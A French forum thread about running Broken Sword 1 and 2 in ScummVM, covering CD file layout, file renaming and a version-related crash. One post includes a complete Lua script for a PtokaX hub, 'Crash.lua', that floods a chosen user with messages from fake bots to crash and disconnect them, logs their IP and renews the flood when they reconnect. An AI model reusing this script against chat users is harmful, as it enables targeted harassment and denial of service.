Les chevaliers de Baphomet 1
Réduire
X
-
Anarchiste Petite précision, tu n'as pas besoin d'installer le jeu pour utiliser ScummVM. Il suffit de copier tes CD ou de décompacter les ISO dans des répertoires distincts CD1, CD2, etc. et de faire le tri dans les fichiers. L'installation du jeu à l'ancienne est un cassement de tête inutile.
-
Bonjour,Envoyé par Anarchiste Voir le messageOui c'est sûr, par contre comment ce fait-il que les scritps du jeu peuvent lire SPEECH.CLU qui a été renommé en SPEECH1.CLU ? Je comprend pas.
Si tu veux VRAIMENT savoir, ils ont entièrement réécrit le code du jeu.
Dans le fichier : engines/sword1/sound.cpp
on trouve, dans la procédure : Sound::initCowSystem()
le code suivant :
if (!_cowFile.isOpen()) {
sprintf(cowName, "SPEECH%d.CLU", SwordEngine::_systemVars.currentCD);
_cowFile.open(cowName);
if (!_cowFile.isOpen()) {
_cowFile.open("speech.clu");
}
}
Il ouvre SPEECH1.CLU ou SPEECH2.CLU suivant la valeur de currentCD, ou speech.clu s'il ne les trouve pas...
👍 1Commentaire
-
@ Threepwang Bonjour, effectivement je me suis rendu compte de ça, c'est vraiment très bien fait ! Inutile d'installer le jeu c'est le top.
ZeusTheBeagle Je comprend mieux effectivement, il y a quelques années j'ai fais du script sur du .Lua et un petit peu sur du .Python, mais ça date :P
Pour donc répondre à ta question ou a ton interrogation Threepwang, j'ai pris les fichiers du dossier SMACKLO du CD2 qui sont :
-CANDLE.SMK
-CREDITS.SMK
-FERRARI.SMK
-FINALE.SMK
-GEODROP.SMK
-GRAVE.SMK
-IRELAND.SMK
-LADDER.SMK
-MONTFCON.SMK
-SPANISH.SMK
-STEPS.SMK
-TAPESTRY.SMK
-TRUCK.SMK
-VULTURE.SMK
-WELL.SMK
Et je les ai mis dans le dossier du CD1 le même dossier SMACKLO sauf que le dossier lui du CD1 est constitué de ceux là :
-GRAVE.SMK
-HISTORY.SMK
-INTRO.SMK
-RIVER.SMK
-SEWER.SMK
J'ai donc réuni les fichiers du CD2 avec ceux du CD1 "sauf" GRAVES.SMK que je n'est pas remplacé (car j'ai vu qu'il faisait la même taille) donc je l'ai pas mis, pour ne pas l'écraser, il y aurait fallu que je le mette ? En les renomment aussi GRAVE1.SMK et GRAVE2.SMK ou je laisse comme ça ?
Commentaire
-
Anarchiste
Non, à part les deux fichiers speech.clu, tu n'as rien besoin de renommer.
Les autres fichiers doublons, tu peux les prendre dans le CD1 ou 2, en qui concerne ce jeu c'est pareil.
Pour moi, tout est bon, surtout que tu as terminé le jeu sans rencontrer de problèmes.
Si tu le souhaites, tu peux t'en assurer en les comparant avec WinMerge.
C'est cool les jeux LUA, il y a d'excellentes fictions interactives !
Les russes et les anglosaxons sont très présents pour les jeux LUA.
Ton jeu est sur un forum spécialisé ? C'est quoi comme jeu ?
Je suis curieux
Commentaire
-
Non c'était des script en .Lua pour les site directConnect à l'époque, du PeerToPeer, c'était des scripts qui fonctionnait avec Zion++ si tu connais, je les intégrait au serveur que j'avais pour faire divers fonctions sur le hub ou était les utilisateurs que j’hébergeai.
Alors non je n'ai pas fini le jeu avec ScummVM, je l'ai fait 1 fois sur PS1 et 2 autre fois sur PC, mais là je vais le finir sous ScummVM et je reviens vous dire ça.
Voici un exemple de ce que l'on créait à l'époque moi et mon ami.
Spoiler Alert !--Crash.lua by -•¥vørí•-
--Crash client
--Reécrit pour PtokaX 0.3.6.0i New API
--Ajout de la raison du crash (demandé par @ñ客hîs†è)
--Modif l'utilisateur est floodé par la raison du Crash (demandé par @ñ客hîs†è)
--Settings
-------------
AdminNick = "@ñ客hîs†è" --PSEUDO DE LA SEUL PERSONNE A POUVOIR UTILISER LE CRASHER
bot = "[•A§§A§§][N•]" --BotName
Command = {}
CmdPrefix ={ ["!"] = 1} --Prefix command 0 = disabled , 1 = enbled
AttackStarted = 0
Temp = {}
temp2 = {}
Msg = 0
Interval = 0.001 --Interval speed flood
OnStartup = function()
Core.RegBot(bot,"I freeze ur client","Crasher@hotmail.fr",true)
end
--Timer function
--------------------------------
OnTimer = function(Id)
for i,v in pairs(Core.GetOnlineUsers()) do
Core.SendPmToNick(Temp,"<"..bot..i..">", Temp2)
Msg = Msg +1
end
end
--Command detection
--------------------------------
ChatArrival = function(user,data)
data = string.sub(data,1,string.len(data)-1)
local s,e,prefix,cmd = string.find(data, "%b<>%s*(%S)(%S+)")
if prefix and CmdPrefix[prefix] and Command[cmd] then
return Command[cmd](user, data)
end
end
UserConnected = function(user,data)
if user.sNick == Temp then
Core.SendToNick(AdminNick,"<"..bot.."> Utilisateur indesirable détecté")
Core.SendToNick(AdminNick,"<"..bot.."> Pseudo: "..user.sNick)
Core.SendToNick(AdminNick,"<"..bot.."> IP: "..user.sIP)
Core.SendToNick(AdminNick,"<"..bot.."> Raison: "..Temp2)
Core.SendToNick(AdminNick,"<"..bot.."> Reprise du Crash de son client... >:-] ")
end
end
-- Right click on connection
--------------------------------
OpConnected = function(user,data)
if user.sNick == AdminNick then
Core.SendToNick(user.sNick, "$UserCommand 1 2 •A§§A§§][N\\Start CrasHClient$<%[mynick]> !crash %[nick] [%[line:Raison]]|")
Core.SendToNick(user.sNick, "$UserCommand 1 2 •A§§A§§][N\\Stop CrasHClient$<%[mynick]> !stop |")
Core.SendToNick(user.sNick, "<"..bot.."> Clic droit pour le CrasHClienT activé !")
end
end
--Command to start flood
---------------------------------
Command["crash"] = function(user,data)
local s,e,cmd,nick,rsn = string.find(data,"%b<>%s+(%S+)%s+(%S+)%s+%[(.+)%]")
if user.sNick == AdminNick then
if nick then
local victim = Core.GetUser(nick)
if victim then
Core.SendToNick(user.sNick,"<"..bot.."> CrasHClienT activé par "..user.sNick)
Core.SendToNick(user.sNick,"<"..bot.."> Victime: "..victim.sNick)
Core.SendToNick(user.sNick,"<"..bot.."> IP: "..victim.sIP)
Core.SendToNick(user.sNick,"<"..bot.."> Raison: "..rsn)
Core.SendToNick(user.sNick,"<"..bot.."> Démarrage du Crash de son client...")
Core.SendToNick(user.sNick,"<"..bot.."> CrasHClienT regler pour envoyé a un interval de "..Interval.." millisecondes. ")
Core.SendToNick(user.sNick,"<"..bot.."> L'utilisateur "..victim.sNick.." sera floodé par "..Core.GetUsersCount().." bots")
AttackStarted = 1
Temp = victim.sNick
Temp2 = rsn
CrashTimer = TmrMan.AddTimer(Interval*1000)
else
Core.SendToNick(user.sNick,"<"..bot.."> Choisi une victime réel .")
return true
end
end
else
Core.SendToNick(user.sNick,"<"..bot.."> Tu n'es pas autorisé a m'utiliser, le boss va etre tenu au courant de ta tentative.")
Core.SendPmToNick(AdminNick,bot,"L'utilisateur ' "..user.sNick.." ' IP: ' "..user.sIP.." ' a essayer de m'utiliser.\r\n\r\n\t\tTenative de Crash sur : ' "..nick.." '\r\n\t\tRaison donnée: "..rsn.."\r\n")
end
return true
end
--Command to stop flood
----------------------------------
Command["stop"] = function(user,data)
local s,e,cmd = string.find(data,"%b<>%s+(%S+)")
if user.sNick == AdminNick then
if AttackStarted == 1 then
TmrMan.RemoveTimer(CrashTimer)
CrashTimer = nil
Core.SendToNick(user.sNick,"<"..bot.."> CrasHClienT stoppé. "..Msg.." messages envoyés !")
AttackStarted = 0
Core.Disconnect(Temp)
Temp = nil
temp2 = nil
Msg = 0
else
Core.SendToNick(user.sNick,"<"..bot.."> Aucune attaque n'est lancé.")
  end
else
Core.SendToNick(user.sNick,"<"..bot.."> Pour qui tu te prend pour vouloir me stopper, le boss va etre tenu au courant de ta tentative.")
Core.SendPmToNick(AdminNick,bot,"L'utilisateur ' "..user.sNick.." ' IP: ' "..user.sIP.." ' a essayer de me stopper.")
end
return true
end
----------------------------------
--How many message before disconnection ?
-----------------------------------
UserDisconnected = function(user,data)
if Temp == user.sNick then
if AttackStarted == 0 then
Core.SendToNick(AdminNick,"<"..bot.."> L'utilisateur "..user.sNick.." a été déconnecté. Il a été floodé par "..Core.GetUsersCount().." Bots et a recu "..Msg.." messages !")
else
Core.SendToNick(AdminNick,"<"..bot.."> L'utilisateur "..user.sNick.." s'est déconnecté. Il a été floodé par "..Core.GetUsersCount().." Bots et a recu "..Msg.." messages !")
Core.SendToNick(AdminNick,"<"..bot.."> Le FlOoD reprendra a sa prochaine connection ;-)")
end
end
end
--Error message to OPs
-----------------------------
OnError = function(sErrorMsg)
Core.SendToNick(AdminNick,"<Erreur-"..bot.."> "..sErrorMsg)
end
Edit Dudujones: ajout balises sur code pour alléger la lecture.
👍 1Commentaire
-
Salut à vous, mon fils à rencontré deux souci avec le jeu, j'ignore si ça vient de ScummVM ou si ça vient de son pc, moi perso j'arrive sur la fin du jeu et aucun souci, donc j'aimerais savoir si vous sauriez de quoi vient son souci.
Pour ceux qui connaissent ce jeu, un moment donné, George se retrouve chez Nico, il l’interroge sur le vibreur qu'on lui a donné, et à ce moment là, ou il clique sur le vibreur, le jeu planche, pouf, plus rien et retour sur le bureau. Donc je lui ai dit que ça devait être un bug mineur, qu'il avait juste à ne pas l'interroger la dessus (ce qui est d'ailleurs inutile) et de continuer, il peut donc continuer tranquillement jusqu'à manque de bol, à un autre moment du jeu, ce bug se reproduit, sauf que cette fois-ci c'est dans l’hôtel Ubu, Au moment ou le réceptionniste donne le parchemin à George, le jeu re-plante, sauf que par contre l'action est obligatoire cette fois pour progresser dans le jeu.
Vous avez une idée d’où le problème peut venir ? Puis-je lui donner mes propres sauvegarde ?(pour voir si le bug peut sauter) Si oui, elles sont stocké ou ? Car dans le dossier ScummVM, j'ai rien vu.
Merci à vous.
Commentaire
-
Si c'est des sauvegardes ScummVM et qu'il s'agit du même jeu (mêmes ressources) tes sauvegardes marcheront.
Je ne sais pas pourquoi ça plante sur l'ordi de ton fils
Toi aussi tu as fait le jeu avec ScummVM et selon le même montage et tu n'as pas eu ces problèmes ?
Essaie avec la MAJ ScummVM 2.8.0.
PS : Terrible le Python/Lua Scripting
Dernière modification par Threepwang, 16 janvier 2024, 10h54.
Commentaire
-
Bonjour, @ Dudujones, je voulais les mettre, mais j'y ai pensé trop tard et n'ai pas pu éditer haha, merci à toi
.
Threepwang, j'ai trouvé le souci, moi j'ai la version de ScummVM 2.7.1 et mon fils lui a mis du coup le V2.8, donc j'ai désinstaller la V2.8 et j'ai mis la 2.7.1 à la place, et ça marche !!! Vu que ce n'est pas un jeu Abandonware y a t-il pas un petit quelque chose qui diffère entre la V2.7.1 et la 2.8.
Mais le problème pour ce problème là est régler haha, il va continuer et voir si ça venait bien de ça.
Moi je suis sur le point de le finir et pour le moment ras, tout fonctionne parfaitement, encore un peu de patience :P.
Pour le script, oui à l'époque, on testait des truc pas très catholique, on a fait bien mieux que ça mdrr, mais je vais éviter d'en parler car c'est pas le sujet et surtout pas le lieu haha. Mais oui je me suis quand même amuser au niveau des scripts. Maintenant malheureusement, je n'y touche plus vraiment.
Par contre je me perfectionne dans le HTML à mes temps perdu
.
👍 1Commentaire
-
Salut Anarchiste
Rien à voir avec le fait que le jeu soit ou non Abandonware. Ca vient de ScummVM.
Je constate également que la MAJ 2.8.0 ne reconnait plus le patch VO/ST.FR de leur propre site.
Je vais signaler la chose sur ScummVM Bug.
Le jeu marche sur l'ordi et ton fils maintenant, c'est l'essentiel
Commentaire
-
Oui tout à fait
et vous savez quoi ? Je l'ai fini hier le jeu haha, et bas tout c'est déroulé sans accros ! Super content de l'avoir refait ! Je viens d'attaquer le 2 :P Ce jeu est tout simplement génial !! Je vous remercie encore de votre aide.
👍 1Commentaire
-
Bonsoir, j'ai des nouvelles questions concernent les Chevalier de Baphomet, mais le 2 cette fois-ci, J'avais dans le dossier simplement BrokenSword2.exe, je l'ai lancé, et le jeu c'est lancé sans installation et sans même que j'ai eu à le mettre dans ScummVM, par contre quand il s'est lancé, il m'a crée un dossier DotEmu, dedans le dossier est composé de 2 dossiers et de 5 fichiers :
Dossiers :
Game (Dossiers : Cluster,Video - Fichiers : cd.inf, Startup.inf)
ScummVM_1.1.1 (Fichiers ScummVM)
Fichiers :
BrokenSword2.bat (ce fichier me permet de lancé le jeu, il m'a crée un raccourcie bureau)
BrokenSword2.ico
Raccourcie de DotEmu
Manuel_FR.pdf
uninst.exe
Question 1 : Comment le jeu fait-il pour ce lancer automatiquement via ScummVM ? (le fichier Startup.inf ?)
Question 2 : Si je mets ScummVM 2.8, ça marcherais aussi ou bien ça risque de tout fausser ?
Merci à vous.
Commentaire
-
Tu n'as pas choisi Anarchiste comme pseudo par hasard
Broken Sword 2 est sortie sur DotEmu, donc tu dois avoir cette version. Ca expliquerait la création du dossier DotEmu.
Je ne pense pas que ton jeu soit portable, le fichier *.exe installe forcément des ressources sur ton PC.
Soit tu installes le jeu à l'ancienne, avec tous les risques que ça comporte sur Win10 & 11.
Soit tu n'installes rien du tout et tu joues avec ScummVM directement.
A priori, via ScummVM tout est en racine du répertoire principale. Pas de sous-répertoire cette fois.
43 fichiers :- *.clu
- *.inf
- *.tab
- *.smk
- credits.bmp
- Renommer music.clu du CD1 en music1.clu.
- Renommer music.clu du CD2 en music2.clu.
- Renommer speech.clu du CD1 en speech1.clu.
- Renommer speech.clu du CD2 en speech2.clu.
- Dixit : Broken Sword 2 - ScummVM :: Wiki
Aucun fichier *.exe n'est nécessaire.
Question 1 : Je ne pense pas que ce soit Startup.inf.
En fait j'ai pas trouvé dans quel fichier est codée la procédure
ZeusTheBeagle à peut-être la réponse.
Question 2 : Oui, je te conseille la MAJ 2.8, tu en aura besoin pour d'autres jeux.
Commentaire
-
Haha, mais nonEnvoyé par Threepwang Voir le messageTu n'as pas choisi Anarchiste comme pseudo par hasard

Alors BrokenSword2 passe visiblement via ScummVM 1.1.1, mais mon ScummVM à moi est en 2.7.1, (ce qui a permis d'ailleurs de faire tourner BrokenSword 1 sans accro
) Mais oui pour d'autre jeu si un de ces jours ça merde, effectivement je passerais sous 2.8
.
Alors, maintenant que tu me le dis, si il m'a ouvert effectivement une fenêtre d'installation quand je l'ai lancé, et c'est justement ça qu'il a installé au court de la procédure (le dossier DotEmu), c'est la dedans qu'il y a ScummVM 1.1.1, mais c'est très étrange car quand je lance le raccourcie, il m'ouvre une fenêtre genre "DosBox" avec écrit sur le haut ScummVM1.1.1. Tu veux un screeshot ?
Commentaire
-
Oui, tu peux faire un Screenshot.Envoyé par Anarchiste Voir le message
Haha, mais non
Alors BrokenSword2 passe visiblement via ScummVM 1.1.1, mais mon ScummVM à moi est en 2.7.1, (ce qui a permis d'ailleurs de faire tourner BrokenSword 1 sans accro
) Mais oui pour d'autre jeu si un de ces jours ça merde, effectivement je passerais sous 2.8
.
Alors, maintenant que tu me le dis, si il m'a ouvert effectivement une fenêtre d'installation quand je l'ai lancé, et c'est justement ça qu'il a installé au court de la procédure (le dossier DotEmu), c'est la dedans qu'il y a ScummVM 1.1.1, mais c'est très étrange car quand je lance le raccourcie, il m'ouvre une fenêtre genre "DosBox" avec écrit sur le haut ScummVM1.1.1. Tu veux un screeshot ?
Mais le plus simple et de créer un simple répertoire
que tu nommes par exemple, Chevalier 2
et tu places dedans les 43 fichiers de mon visuel.
Ca fonctionne en toute simplicité avec ScummVM 2.8.0 :
Testé et approuvé
Commentaire
-
Je t'es fais un screen vite fait pour que tu vois la fenêtre qui s'ouvre, elle s'ouvre hyper vite donc j'ai à peine le temps de faire un screenshot :P
Spoiler Alert !
Commentaire


Commentaire